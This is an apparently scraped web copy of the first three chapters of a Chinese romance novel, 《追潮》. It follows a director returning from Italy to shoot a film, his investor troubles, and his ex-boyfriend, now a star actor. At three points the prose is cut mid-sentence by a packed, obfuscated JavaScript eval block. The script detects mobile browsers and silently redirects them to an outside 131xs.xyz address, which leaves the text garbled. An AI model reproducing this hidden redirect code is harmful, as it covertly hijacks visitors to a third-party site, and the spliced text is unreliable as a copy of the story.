《追潮》 1. 【第001章·新剧本】 “女士们,先生们,我们的航班已经安全降落在海市国际机场,现在是当地时间下午四点三十四分,地面温度……” 机上传来熟悉的中文广播。 闻潮声蜷缩在最后一排,不太舒服地蹙了蹙眉,他扯下眼罩,视线模糊地望向了窗外。 刚落过一场雨,停机坪的地面上湿漉漉,天色灰蒙,不远处的航站楼顶上立着一块大字招牌—— 海市国际机场。 “……” 闻潮声静静地凝视着这行字,有些恍惚。 很快地,机上各处就响起了喧闹的动静,长达十多个小时的中转飞行让乘客们精疲力尽,大家都恨不得第一时间冲下飞机。 滋滋,滋滋,滋滋。 连上信号的手机传来接连不断的震动。 闻潮声低头看向自己的微信未读,视线触到某个头像的一瞬间,那种习以为常的头晕心闷又出现了,呼吸也跟着急促起来。 他看了一眼时间,从口袋里拿出自己分装好的药袋,取出一粒小小的药片,也不饮水,直接生吞干咽了下去。 苦涩的味道从喉咙里蔓延。 闻潮声忍住想吐的冲动,面无表情地关掉了手机页面。 十几条微信消息,一条都不想回,烦。 排队的人群终于有了动作,闻潮声乏力起身,默默跟在最后走出了飞机。 雨后的新鲜空气从廊桥的缝隙里传来,带着潮湿的闷意,不同于佛罗伦萨的炎热干燥,直到此刻,闻潮声才有了回国的实感。 一别多年,他终究还是回到了华国。 … 过了海关,刚走出机场门,一道嘹亮的声音就响了起来。 “小声,这边!这边!” “……” 闻潮声有些迟钝地找准了来源。 他看着小跑到跟前的人,脸上浮动一丝许久未见的局促,“表哥。” 宋庭将自家表弟上下打量了一遍,笑道,“你这都没什么变化啊,不知道还以为是在校大学生呢。” 闻潮声从小就是一头天然的小卷毛,偏栗棕色,他的五官继承了父母的全部优点,白净俊秀,偏偏爱戴着一副黑色粗框眼镜,很刻意地将自己的样貌遮了一大半。 “……” 闻潮声耳尖泛红,很想说一句“哥,你倒是变胖了些”,又觉得不礼貌,就没说。 宋庭习惯了闻潮声的闷性子,笑着接过他的行李箱,“好了好了,车停在外面,跟我来。” 闻潮声攥了攥自己的背包带,“嗯。” 宋庭边走边问,“怎么就这么点行李?你这次回国要待多久?之后不走了吧?” “八个月。” 闻潮声报出的时间很具体。 宋庭一愣,“还要回意大利?” “看情况。” 闻潮声藏在镜片下的眸光晦暗了一秒,转移话题,“等顺利拍完电影再说。” “也是,手头的这部电影才是要紧事。” 宋庭点了点头,用余光观察着沉默寡言的闻潮声。 他的姨父和小姨,也就是闻潮声的亲生父母,是华国影视圈内知名的金牌导演和编剧。 得益于家庭环境的熏陶,闻潮声从小就对影视方面的创作展现出了极高的天赋和兴趣,大学毕业前,他自编自导的电影处女作就已经入围了国际电影奖项的提名,还捧红了电影主演。 后来的第二部文艺电影,更是收获不菲,名声大噪。 可惜在执拍第三部电影时,闻潮声的剧组似乎出了点问题,拍摄不了了之,连网上都查询不到相关消息。 作为亲戚的宋庭是听长辈们隐晦提起,闻潮声从那之后就和家里父母闹僵了关系,这些年一直留在海外生活。 至于当年到底发生了什么? 知情的当事人不肯说,外人无从得知。 宋庭开了一家影视项目服务的小公司,半年前,他突然收到了闻潮声发来的消息—— 对方说自己创作了一部全新的电影剧本,想要在国内进行拍摄,还请他帮忙拉投资、组局。 按理来说,这种事情找闻春申、宋雪兰夫妇会更方便,毕竟夫妇两人是影视圈大咖,手里面多得是人脉和资源。 但宋庭琢磨着闻潮声和家里人闹僵的关系,于是主动应了下来,忙前忙后了好一阵。 ——啪嗒。 车门关上。 宋庭将提前备好的电影剧组资料递了过去,说,“筹备工作已经到尾声了,拍摄许可证也在走流程,只要选角顺利,国庆前应该能开机。” “嗯。” 闻潮声小鸡啄米,视线凝在项目企划书上,一个字一个字地看得很认真。 宋庭等了一会儿,才问,“饿吗?带你去吃个饭?” 闻潮声摇头,“我想先回去休息,有点累。” “行。” 宋庭完全尊重闻潮声的意愿,“那先送你回去,明天再带你吃点好的。” 闻潮声在回国前就已经找好了住处,并且一次性付清了半年的租金。 还算靠近市中心的位置,房东将一套平层改成了四套独立的小房间,其他三户已经有租客入住了,唯一公用的入户玄关处带着点烟味,味道不算好闻。 宋庭是第一次来这儿,忍不住皱了皱眉。 闻家的经济条件不差,闻潮声从小更是养尊处优过来的,怎么给自己租了这么一间分隔的合租房?别是被网上中介坑了吧? 按照房东在微信上的指示,闻潮声摸到了藏在多肉盆栽底下的钥匙,找准自己的房间开了锁。 一卫一室,只有简单的几样家具,空间不大,甚至算得上狭小。 宋庭忍不住出声,“怎么租了这么一个地方?小得走几步路就撞墙了,要不你去我那里住?再不济也给你开个酒店。” “……” 闻潮声听出对方的嫌弃,沉默了两秒才给自己找补,“我一个人住够用了,这房子就是个过渡,电影开拍后,就跟着剧组一块住了。” 这话说得半真半假。 宋庭已经结婚生女了,闻潮声最不喜欢麻烦其他人,哪怕两人是表兄弟关系,他都怕叨扰到对方的小家庭。 “行吧,要是住不惯再帮你找新房子。” 宋庭将闻潮声的行李箱拿了进来,房子小,也没什么收拾的空间。 他临走前说,“明天下午约了剧盒传媒的老板聊投资款的事,到时候我来接你?人家点名想要见你。” “……好。” “那你好好休息,倒个时差。” “嗯,表哥再见。” 房门轻轻合上。 闻潮声不着痕迹地松了口气,那种长时间飞行后的头晕疼痛还在持续,但他习惯了忍耐,也习惯了沉默。 他慢慢挪到床内侧,一伸手就扯开了紧闭的窗帘。 外面的天色还没暗。 对面办公楼的LED电子大屏上,一副巨大的真人海报映入他的眼帘—— 对方穿着一件挺阔的黑色衬衫,衣料透出一种冷调的光泽,那张算得上俊美的面容特写几乎占据了整个屏幕,眉骨投下的阴影衬得双眼越发深邃如刃。 而海报底部,印着闻潮声再熟悉不过的名字。 ——席追。 如今娱乐圈当红的人气男演员,今年年初还拿下了百像奖最佳男主的奖项,影帝头衔傍身,风头正盛。 席追的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466646|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人工作室挂靠在全盛娱乐,作为公司金字活招牌,他的海报自然被投在了公司外墙最显眼的LED大屏上。 “……” 闻潮声的视线黏在了大屏上,心跳不受控地漏了好几拍,往事像走马灯一样在脑海中极速掠过。 直到眼中泛起了酸涩的水雾,他才慌乱地低下了头。 真没出息。 怎么光是看着这人的海报,情绪就能不受控? 闻潮声无声地想着,心脏后知后觉地泛起钝痛—— 席追是他的初恋,也是他的前任。 当年,两人的感情因为异国不了了之,甚至连句“分手”都是在微信上匆忙提的。 闻潮声不知道该怎么去解释,半个月前,他只是在租房app上看见了房东拍摄的这一窗景,就以最快速度租下了这间狭小的合租单间。 他没有勇气直面自己的前男友,只能采用迂回战术,住在了对方公司附近。 或许有朝一日,他能透过这扇窗再看一看自己日思夜想的那个人。 滋滋,滋滋,滋滋。 微信又响起了连环震动,发消息的人似乎是不达目的不罢休。 闻潮声凝固的思绪动了动,趁着对方弹来电话请求之前,手指僵硬地回了消息: “已经到了,正准备休息,我接下来会很忙,你记得答应我的事,别一直给我发消息。” 他深呼一口气,不太情愿地加上一句: “八个月期限一到,电影能按时拍完,我会回去。” 回完这两条消息,闻潮声只觉得魂都被抽走了一大半,呼吸间的抖动越来越明显,思绪迟缓,视野晕眩,那种心悸感又强烈了起来。 他知道,他又犯病了。 闻潮声颤抖着从口袋里摸索出了分装药袋,按照标签又吞了一小颗的药品,舌尖弥漫上一如既往的苦味。 他筋疲力尽地侧躺在床上,视线贪恋着窗外那抹身影,虚假的,近在咫尺却又遥不可及的身影。 药效迅速而强烈地发挥了作用,用一种近乎粗暴的方式将闻潮声拖入那黑色且黏稠的梦境中。 梦里充斥着无数人重叠的指责声,以最激烈的口吻撕扯着他的灵魂,难以名状的痛苦化作胶状质地的粘液,从四面八方向他袭来。 闻潮声无数次尝试过逃离这梦魇,却永远无力被困。 久而久之,他不再挣扎,任由痛苦形成的漩涡将自己一点点吞没、窒息。 他不止一次想过,或许终有一天,他会在这场噩梦里真正死去。 只是这回,稍微有了一点不同。 在闻潮声即将被噩梦蚕食之际,一道久违的声音响了起来,冷淡得如同利刃,却替他破开了重重黑暗—— “闻潮声,你总算舍得回来了?” “啊!” 闻潮声醒得很突然。 这药效原本应该让他睡到早上,可现在,窗外夜色正浓。 药的副作用还在持续,闻潮声难受得滚了一下干涸的喉咙,又一次看向了窗外的“席追”,耳边还回荡着梦里那声质问。 冷冰冰的声线,里面夹杂更多的是怨恨,但他已经很久没在梦里听见过席追喊他的名字了—— 看来今晚也不算噩梦。 闻潮声很会自我安慰,他蜷缩着躺了好一会儿,呼吸终于延迟变得顺畅。 窗外的LED大屏还在持续显示。 闻潮声后知后觉地想起自己如今就待在海市,和席追的公司、工作室就隔了不到百米的距离,内心深处隐隐透出一种温软的满足。 他抿了抿毫无血色的唇,用只有自己才能听见的声音,“要是能再见一面就好了……” 我好想你。 2. 【第002章·新剧本】 闻潮声没再睡着,在床上醒到了天亮。 直到隔壁邻居传来出门动静,他才起床冲了个澡,驱赶体内浓重的疲惫。 十一点,宋庭就来了,特意带闻潮声去吃了一家地道的本帮菜馆,补上了昨天的接风宴。 午饭后,两人就驱车前往了电影的资方公司,剧盒传媒。 装修明亮的休息室内,闻潮声一言不发地坐着,手里捧着一杯茶水,热气蒸腾着就快要模糊掉他的镜片。 说实话,他很不适应这样的社交场合。 如果可以,闻潮声巴不得自己真是一只乌龟,遇到这种情况直接缩在龟壳里,谁也别想喊他出来。 ——嗞啦。 电动推门声响起。 闻潮声心里一紧,还等看清来人的真面目,边上的宋庭就已经起身招呼,“傅总,你好。” 他低声提醒,“小声,这位就是剧盒影视的执行副总,傅仰光。” 闻潮声放下茶水,被迫起身客套,“傅总好,我是闻潮声。” “小闻导演,久仰大名。” 傅仰光快五十的年纪,啤酒肚很明显。 他注视着闻潮声,看似笑眯眯的眸中暗含打量,“坐吧,坐下聊。” 宋庭知道闻潮声不擅长谈判,于是主动开口,“傅总,电影《烂泥》的前期项目筹备得差不多了,眼下闻导回来,我们的选角工作就可以展开了。” 他顿了顿,将催促藏在礼貌的口吻下,“这不,想问问贵公司的投资款,什么时候可以到位?” 傅仰光接过助理递来的茶水,不紧不慢地拂开杯上热气,“不急,正好趁着闻导今天也在,我有件事想和你们商量。” 闻潮声眸光微抬,静静等待着傅仰光接下来的话。 傅仰光笑了笑,开门见山,“我们剧盒最近新签了一批艺人,其中有两位资质很不错,挺适合电影里的两位男主,我看要不选角这一步骤就免了吧?” 闻潮声身形微僵,有些不理解地追问,“什么?” 他们电影的拍摄投资费用一直卡在市场的最低线。 闻潮声和宋庭自掏腰包用于前期筹备、建组支出,又在宋庭的牵线搭桥下找到了资方剧盒影视,双方在一开始就谈好了条件—— 电影后续的发行、运营等权利全部交给剧盒,抛去成本后的票房还是三七分,等于是把电影大部分的利益都拱手让给了对方。 而闻潮声提出唯一的、也是最重要的一点,他要对电影选角、剧本、拍摄拥有绝对的话语权。 眼下,闻潮声好不容易才赶回国,这会儿资方又想要插手了? 傅仰光喝了一口热茶,老神在在,“肥水不流外人田,电影里的两个兄弟角色与其公开选角,不如内定给我们自家艺人,你们觉得呢?” 闻潮声创作的剧本《烂泥》是悬疑类的双男主题材。 哥哥姚逸,弟弟方净,两人同父异母,在电影里的戏份都很重。 “……” 宋庭一听这话,就知道傅仰光带着什么心思。 想用闻潮声的剧本去捧自家的艺人?影视公司有这样的想法无可厚非,但问题是—— 他们在合作初期就已经约法三章,为了保证闻潮声作为导演的话语权力,甚至还让了后期的项目分成! 眼下临时来这么一出,既要又要的,着实有点太霸道了。 宋庭还没想好要怎么迂回婉拒,就听见边上的闻潮声定定开口,“不行。” 简单两个字,掷地有声。 傅仰光脸上的笑意收了点,看向闻潮声明知故问,“你说什么?” 闻潮声不着痕迹地深吸一口气,一点儿都不含糊自己的态度,“电影双男主的演员人选,只能由我决定,贵公司无权干涉。” 他的作品,他塑造的角色,他比任何人都清楚要找什么样的形象。 傅仰光的笑容彻底收住了。 宋庭眼看着情况不对劲,连忙圆场,“傅总,小闻导对电影向来有自己的理解和把控,您看要不这样,咱们照常进行选角,贵公司有合适的人也可以参与试镜,至于结果……” 傅仰光露出真面目,仗着身份逼问,“如果说,我非要内定给我推荐的艺人呢?” 闻潮声寸步不让,“我说了,不行。” 今天敢干预选角,指不定明天就敢乱改剧本?这样的投资方不会成为助力,只会成为阻碍。 傅仰光没料到闻潮声看着斯斯文文,居然会是这种油盐不进的倔脾气? 他的语气变得刁钻起来,“小闻导,别怪我没提醒你,你都多久没出新电影作品了?” “近些年新锐导演那么多,你以前的那点成绩早就不够看了!怎么,你真以为有人会冲着你的剧本和名气去投资?” “我现在要是撤资,你们短期内不见得能找到新资方顺利开拍!” 长得跟个小白脸似的,算什么东西? 傅仰光盯着闻潮声,这会儿也不装了,直接摆明自己的态度。 “只要你们答应电影主角用我推荐的人,剧盒的投资款立刻就能到位,否则,我要重新考虑一下我们之间的合作关系。” 说到最后,口吻里隐隐带上一丝威胁。 宋庭眉心蹙起,“傅总,您这样做,可就太叫我们为难了。” “宋总,我是个商人,自然要以自身利益为重,难道你们不是?” 傅仰光明知故问,“电影前期置景投资得差不多了吧?拍摄场地谈好合约了?剧组各部门工作人员的档期也空出来了?” “要是短期内没办法如约开拍,小闻导和宋总要付出去的违约金恐怕都是一笔不小的费用?” 前段时间,傅仰光故意装出一副好说话的资方模样,实际上就是为了在这个节骨眼上,再狠狠逼着闻潮声退步、让出更多的话语权。 “……” 沉默扼制着闻潮声的呼吸和喉咙。 他藏在桌子底下的双手攥成拳头,指尖似乎要生生嵌进掌心里。 前期的置景搭建已经自掏腰包投进去了不少钱,如果后续投资不到位,他们确实会变得寸步难行。 那种被人拿捏的、牵着鼻子走的无力感卷土重来,令闻潮声心悸反胃,所有的拒绝都卡在了喉中,身不由己的窒息感一点点逼入他的神经。 “……” 傅仰光知道闻潮声有对很牛逼的父母,但对方居然舍近求远找上门,只怕是家里人并不支持他拍这部电影。 “这样吧,你们再考虑考虑,宋总,你也好好再劝劝闻导,过了这村没这店了。” 他自以为胜券在握,飘飘然起身,“我待会儿还有个会议,先不留你们了,希望下次再见面,是我们双方的合作宴。” 话音刚落,闻潮声紧跟着起身,“不用了。” 傅仰光步伐一顿,“什么?” 宋庭察觉出什么,下意识地起身拽了拽闻潮声的衣角,“小声。” 闻潮声极力稳住自己的呼吸,语速有些快,“傅总,是贵公司的投资款迟迟不到位、没有合作意向、也没有契约精神。” “如果您执意要将你‘力捧’的艺人塞进我的电影里,那么很抱歉——” “我想我们双方都可以及时止损,不用再深度合作了。” “……” 傅仰光脸色沉了下来。 他着实没想到,闻潮声看着年纪轻轻好拿捏,居然是块这么难啃的硬骨头! 傅仰光折了面子,冷哼,“是吗?那你们最好考虑清楚了。” 剧盒在影视投资圈还算有点本事,只要他暗中打声招呼,那么闻潮声后续索要投资的路只会更容易碰钉子! 闻潮声不理会傅仰光的威胁,简单丢下一句“告辞”就先离开了接待室。 … 直到走回停车场,闻潮声的呼吸才趋于正常。 宋庭追赶上来,“小声,没事吧?抱歉,我没想到傅仰光会在这种节骨眼上狮子大开口。” “我没事。”闻潮声摇头,唇色有些发白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466647|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“只是他提出的条件,我不能接受。” 宋庭说,“我知道,你别有负担。” 眼前人看着内向慢热、好拿捏,但在电影拍摄方面一直有着自己的坚持,不是旁人轻易能够左右想法的。 宋庭拍了拍闻潮声的肩膀,“这种事情还是交给我去谈吧,我会想办法再和傅总斡旋,大不了再去找找其他影视投资方。” “……” 闻潮声看着同样为了电影项目付出很多心力的宋庭,后知后觉地生出歉意。 现在的他,确实没有任何任性的资本。 “哥,该道歉的人是我,是我太冒失了。” 闻潮声纠结再三,不得已松口,“剧本里弟弟那个角色,如果后续资方那边确实有合适的演员,我……我可以退一步。” 他停顿了两秒,“但哥哥那个角色不行。” 宋庭一下子品出深意,“哥哥那个角色,你心里有合适人选了?谁啊?” “……” 闻潮声不擅长撒谎,“嗯,我、我给席追的团队发了电影邀约。” 外人不知道的是,电影中哥哥的角色就是为了席追量身打造的,早在半个月前,闻潮声就已经给对方的工作室发去了电影邀约。 可惜,这封邮件石沉大海,直到现在都还是未被回复的状态。 不知道是工作室积压了太多邮件、忙着来不及逐一看完回复,还是工作人员早已经看见上报了,但席追看见是他的剧本后才有意忽略? 闻潮声希望是前者。 宋庭很意外,“席追?他会接吗?” 说起来,席追当年是演了闻潮声的处女作电影《轮廓》,才正式出道的。 只是今时不同往日,前者早已经成了名利双收的影帝,而他们的《烂泥》投资不过四百万,而且现在还面临撤资的风险。 宋庭不知道闻潮声和席追的私交如何,所以没有细问。 闻潮声想起那封始终没有回应的邀约邮件,把心里的期待放得很低,“再等等吧,还有时间。” “好。” … 又过去了三天。 傅仰光始终不肯松口,似乎是笃定了闻潮声最后会妥协,那些原本跟投剧盒的小资方纷纷表明了要撤资,显然听从了前者的安排一块施压。 空间狭窄的出租房内,闻潮声湿着头发从卫生间里走了出来。 窗帘还没拉上,抬眼就是对面公司墙上的LED大屏,依旧是席追的特写海报。 闻潮声会暗中关注席追的通告动态,对方最近还在广市拍戏,没回来。 ——叮咚! 电脑还开着,设置了特别提醒的邮箱突然传来一声。 闻潮声的心脏猛地漏了一拍,连湿漉漉的头发都顾不上擦了。 他疾步走到了泛着冷光的电脑前,打开邮箱提示,果然有了一份来自席追工作室的回信。 “……” 闻潮声呼吸发紧,盯着这份崭新的邮件,却不敢立刻打开。直到攥着鼠标的手心隐隐发了汗,他才带着那一点积攒了许久的期颐点了进去。 ——感谢您的电影邀约,席追先生近期并没有接新计划,暂不考虑合作,望理解,祝你生活愉快、电影工作顺利! 那点微不足道的期待顷刻泯灭。 回国后唯一能和席追产生联系的工作机会,还没开始,就被宣告终结在了这个晚上。 闻潮声盯着这行不算太意外的拒绝文字,睫毛颤了颤。 啪嗒。 似乎有什么坠了下来。 “……” 闻潮声后知后觉地低了头,看见桌面上绽开的一滴水花,他突然有些分不清—— 这到底是头发上滴下来的水珠,还是自己用尽全力却没能控制住的失望眼泪。 闻潮声捏了捏有些发抖的指尖,明知道已经没了被看见的可能,他还是一字一字地认真回复了这封邮件: “感谢回信,烦请转达:祝席先生未来一切顺遂。” 3. 【第003章·新剧本】 眨眼半个月过去,暑热更盛。 闻潮声穿了一件纯白色的短袖,背着已经洗旧的单肩包,站在一层电梯外来回踱步。 他低着头,努力斟酌着接下来有可能会用到的社交用词。 忽然间,一道惊讶的声音响起,“潮声?” “……” 闻潮声的酝酿被打断,转头看见来人后,思绪微晃。 对方的气质很出众,五官自带美人底色,特别是那双天生的狐狸眼,轻易能够勾人心魄。 闻潮声紧张地推了一下黑框眼镜,没想到自己还没上楼就遇到了正主,“今兆,好、好久不见。” 简今兆快步走近,“我差点以为我认错人了,是好久不见。” 两人的缘分始于电影拍摄。 闻潮声第二部自编自导的短片电影《花月》,主演就是简今兆。 两人是加过微信的,但这些年各有各的忙碌,只有逢年过节会彼此问候。 简今兆这些年在娱乐圈顺风顺水,各大奖项拿到手软,早些年,他和友人合开了一家影视公司,短短几年就扩到了特别强大的规模。 但不知道出于什么缘故,一个月前,简今兆退出了原先公司的管理高层,另起炉灶新开了一家鲸影传媒。 两天前,闻潮声看见了简今兆的朋友圈,才知道对方这段时间正忙着收揽、寻求合适的剧本、新人演员以及艺人团队—— 所以,他才鼓足勇气带着《烂泥》剧本来到了这里。 简今兆望着欲言又止的闻潮声,像是猜到了什么,“你是特意来找我的?有事?” 闻潮声攥了攥背包袋子,藏着忐忑,“我听说你新开了一家影视公司,想来碰碰运气,看看能不能见到你。” 简今兆是个聪明人,干脆一笑,“走,我们上楼换个地方聊。” “好。” … 五分钟后,鲸影接待室。 简今兆翻阅着闻潮声带来的剧本,开门见山,“你希望我投资?” “是。” 闻潮声不着痕迹地紧着一口气,说明情况,“今兆,这个剧本我打磨了整整四年,已经拿到了拍摄许可证,剧组班底也组建得差不多了,只是原定的资方临时撤资,我、我实在是没办法了。” 和光盒影视之间的合作最终还是告吹了,不仅如此,傅仰光还暗暗给他们使了不少绊子—— 上周,闻潮声好不容易寻摸到了一个合适的新人演员,傅仰光不知道从哪里得到的消息,隔天就让人找上门、以更好的资源条件将其签下。 而寻找新资方的宋庭也屡屡受挫,吃了不少闭门羹。 要知道,电影项目已经开启了前期运行,正是到处要花钱的时候。 闻潮声不想把钱款压力都推到宋庭的身上,他看向桌对面的简今兆,“你要不看看这剧本?是双男主的悬疑题材。” 他停顿了两秒,声音轻了些,“当然,你要是觉得这个剧本不好,我肯定不麻烦你……” 简今兆听出闻潮声的不自信,笑着鼓舞,“闻导打磨过的作品,怎么会不好?” 闻潮声苦涩地说,“你别捧我了。” 他是文艺片出身的导演,从来没有尝试过现在更符合市场潮流的商业片,再加上过去的拿奖名气放在现在根本不够用了。 因此才会被那些投资方一直不看好,被认定这剧本“没钱途”。 “不是捧你,是真的认可。” 在简今兆看来,闻潮声不仅有实力、有才气,而且对他更有知遇之恩。 当年,简今兆还是没什么表演经验的新人,是闻潮声力排众议让他出演电影《花月》,在片场协助他一点点地研究、塑造角色,才会有电影上映后的成功。 简今兆并没有急着翻看手里的剧本,而是本着对闻潮声的信任。 “鲸影才创建不久,正是需要好项目的时候,潮声,我可以投资,而且我想作为监制投资这部电影。” “至于具体的投资数额,我得看过剧本后再评估,可以吗?” 导演和监制,并不冲突。 比起临时狮子大开口的傅仰光,闻潮声显然更信任有过合作交集的简今兆。 不过,他很快就想起另外一件事,“今兆,其实我……我有一个硬性条件。” 简今兆猜准了闻潮声的心思,笑了声,“我明白,剧本拍摄相关,一切由你说了算,我不干涉。” 他曾经见识过闻潮声作为导演的能力,对剧本质量的把控和高要求。 俗话说得好,术业有专攻,既然决定要合作,那就要彼此信任,再做好自己分内的事情。 闻潮声没想到简今兆这么痛快,心里的大石头落地,“谢谢。” “剧本是双男主的话,找到合适的主演了?” “没,我想要公开选角,但还没办成。” 闻潮声摇头,他没了最开始的紧张,主动询问,“今兆,我无所谓演员咖位的大小,只要符合电影角色就行,你有合适的演员推荐吗?” 他说的推荐,并不是直接内定,而是照样要试过镜才行。 简今兆不知道是想到了什么,短促地笑了声。 在闻潮声的注视下,他坦诚道,“潮声,实不相瞒,我既然开了公司、投资了剧本,自然有私心想给公司的艺人多些机会,但直接内定有失水准,这样吧,还是公开选角——” “看在我带着鲸影投资的份上,你给我旗下的艺人多点试镜名额,让他们都去试试。” “到时候演员合不合适,你这位导演说了算,可以吗?” 这提议不过分,给闻潮声保留了最大程度的选角权利。 闻潮声哪里还有不答应的道理,感激点头,“可以。” … 简今兆和鲸影高层的办事效率比闻潮声想象中还要快,不到一周,首批投资款就已经到位了。 闻潮声也不耽搁,立刻公开进行了第一轮的选角试镜。 鲸影新签下的新人俞演在试镜过程中发挥出色,外在条件完美贴合了剧本里“弟弟方净”一角,很快就定了下来。 反倒是“哥哥姚逸”这个角色,试镜的演员换了两三批,闻潮声却始终觉得差些意思,久久没有决断。 选角导演翻看着演员资料,眉头蹙了又蹙,“闻导,这都已经第三批了,你还没有满意的?” 闻潮声摇头。 比起“弟弟”一角色,电影里的“哥哥”更需要有城府阅历和掌控力—— 太年轻的新人演员没经验、不合适,有档期、有经验的三四线演员,形象又没办完全贴合。 至于更高咖位的演员,不是看不上他们小制作的剧组,就是双方的档期完全对不上。 选角导演翻着厚厚一叠的试镜名单,“我看方彦洲就挺好的啊,出道好几年了,演技过关,片酬报价不高,团队态度也很友好。” 试镜到现在,确实只有方彦洲的条件最吻合。 只是闻潮声觉得对方身上的温和气质太足,少了一点儿“哥哥”该有的、隐藏在外表下的锐利。 边上帮忙参谋的宋庭也觉得方彦洲不错,随口问,“小声,你不会还盼着席追出演吧?” 选角导演才知道这事,顺嘴就溜出了一句实话,“啊?就席追老师现在这咖位,肯定不缺名导大腕的合作邀约,能来咱们组吗?” “……” 说者无心,听者有意。 闻潮声思绪卡壳了两秒,如实说,“没有,他们团队早就拒绝了我的邮件邀约。” 是啊。 两个人的身份地位早就不对等了,一直都是他痴人妄想了。 闻潮声隐去眸底的那丝苦涩,答非所问,“我有空去问问今兆吧,看他有没有意愿出演,要是下周三之前再找不到合适的,你们就派人和方彦洲的团队洽谈。” “行。” … 暑热还在张牙舞爪,广市,剧组搭建的场景棚里几台冷风机同时运作着降温。 席追揣着一束杀青花束,稳步往外走,路过擦肩的工作人员纷纷朝他送上祝福,“席老师,杀青快乐。” “席哥,辛苦了,杀青快乐。” “谢谢。” 席追一一礼貌回应。 等进了私人休息室,他脸上的温和笑容才渐渐褪去,不笑时,眉眼间隐藏的锐气就显现了出来。 他将杀青花束递给助理妥善保管,又从对方随身小包里拿出香烟和打火机,走到窗户边上,啪嗒,火苗上窜,极快点燃了香烟。 席追深吸了一口,用尼古丁来麻痹发胀神经。 背后响起开门声,不出三秒,经纪人温茴的声音传了过来,“刚杀青怎么就抽上烟了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466648|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 助理小朝替席追解释,“茴姐,席哥最近拍戏压力大,这好不容易熬到杀青了,你就由着他抽一支吧。” 严格来说,席追没有烟瘾,抽烟的次数算不上频繁。 只有在连轴转的高压工作下,他偶尔才会来上一支放松自己紧绷的神经。 今天刚杀青的电影角色背负着抗战时期的国仇家难,接连一个月的沉重戏份实在是耗费精力。 席追又吐出了一口烟雾,转身对着经纪人和助理发问,“我手机呢。” 助理小朝笑嘻嘻地递了上去,“早就给你充好电了,这儿呢。” 席追还有一个算得上克制的习惯,为了能好地体会并且塑造角色,他在拍戏时会尽量避免使用手机,减少外界不必要的信息摄入。 席追接过自己的手机,却没急着打开看,“茴姐,机票定好了吗?” “嗯,订好了,下周一在海市拍完杂志,给你订了当天晚上九点直飞米兰的航班。”温茴看出席追疲惫的神色,“听你的安排,这次可以直接休假到年底。” 这些年,席追的电影通告一个接着一个,假期却寥寥无几,从来没有喊过一个累字。 上个月,对方主动提出想要在电影杀青后放个长假,团队综合他目前还未发行的电影、杂志等存货曝光,轻易允许了。 助理小朝随口接话,“还是第一次见席哥放长假呢,怎么想着去意大利?” “……” 席追像是没听到,他对着垃圾桶弹了弹烟灰,“最近圈里没出什么大事吧?” 温茴说,“还真有一件。” “嗯?” “简今兆和老东家‘闹掰’了,离开京也创建了新公司。” 娱乐圈里就没有不透风的墙,很多经纪人之间的消息都是互通的。 席追听见简今兆的名字,眸光微晃,脑海中浮现得却是另外一道与之相关的身影。 温茴随口又说,“简今兆近期还投资了一部新电影,叫什么《烂泥》?这阵子还公开选角了,对了,那电影导演的名字你绝对不陌生。” “谁?” “闻潮声。” “……” 席追夹着香烟的指腹猛然用力,被疲倦挤压的思绪骤然转动。 还没等他开口,边上的助理就接了话,“诶,我说《烂泥》这电影名字怎么这么耳熟呢?这团队前阵子好像给席哥发过邀约邮件?” 席追下意识地蹙眉,语气陡变,“什么邀约邮件?” “就、就《烂泥》的出演邀约啊。” 助理被席追少有的紧迫眼神吓一跳,如实说,“我看小兰她们发在工作群里的截图,都是最近邀请你的电影剧本,不过看上去没什么大项目。” 席追年初刚斩获影帝奖杯,圈内人多得是合作意向。 好的剧本、电影班底都会直接托关系找温茴对接,只有小剧组、小投资或者小导演的电影邀约才会走寻常的工作邮箱。 温茴也证实了这件事,“不是你说任何情况下都不接新?小兰她们筛选后和我报备过,一次性推掉了半年内会开拍的电影邀约。” “……” 席追打开自己的手机微信,点开工作一群,迅速往上翻阅。 果不其然,在一张密密麻麻的邮箱界面的截图里,找到了穿插在其中的电影《烂泥》邀约,发件人的邮箱号是一串打乱的英文缩写,而开头的三个字母是wen。 香烟燃到了尽头,灼得席追的指腹一痛,他忘了收敛神色,眉眼间的复杂一闪而过。 温茴察觉出席追的异样,“怎么了?心不在焉的。” 席追用力碾灭烟头火光,藏在衣服下的胸膛起伏得厉害。 他没敢提及真正想要提及的那个名字,而是迂回发问,“简今兆投资了这部电影?” 温茴说,“嗯,他应该是监制?” 话音刚落,席追就果断开了口,“小朝,订一班明天最早回海市的机票。” “啊?” 助理一愣,边上的温茴也露出诧异表情。 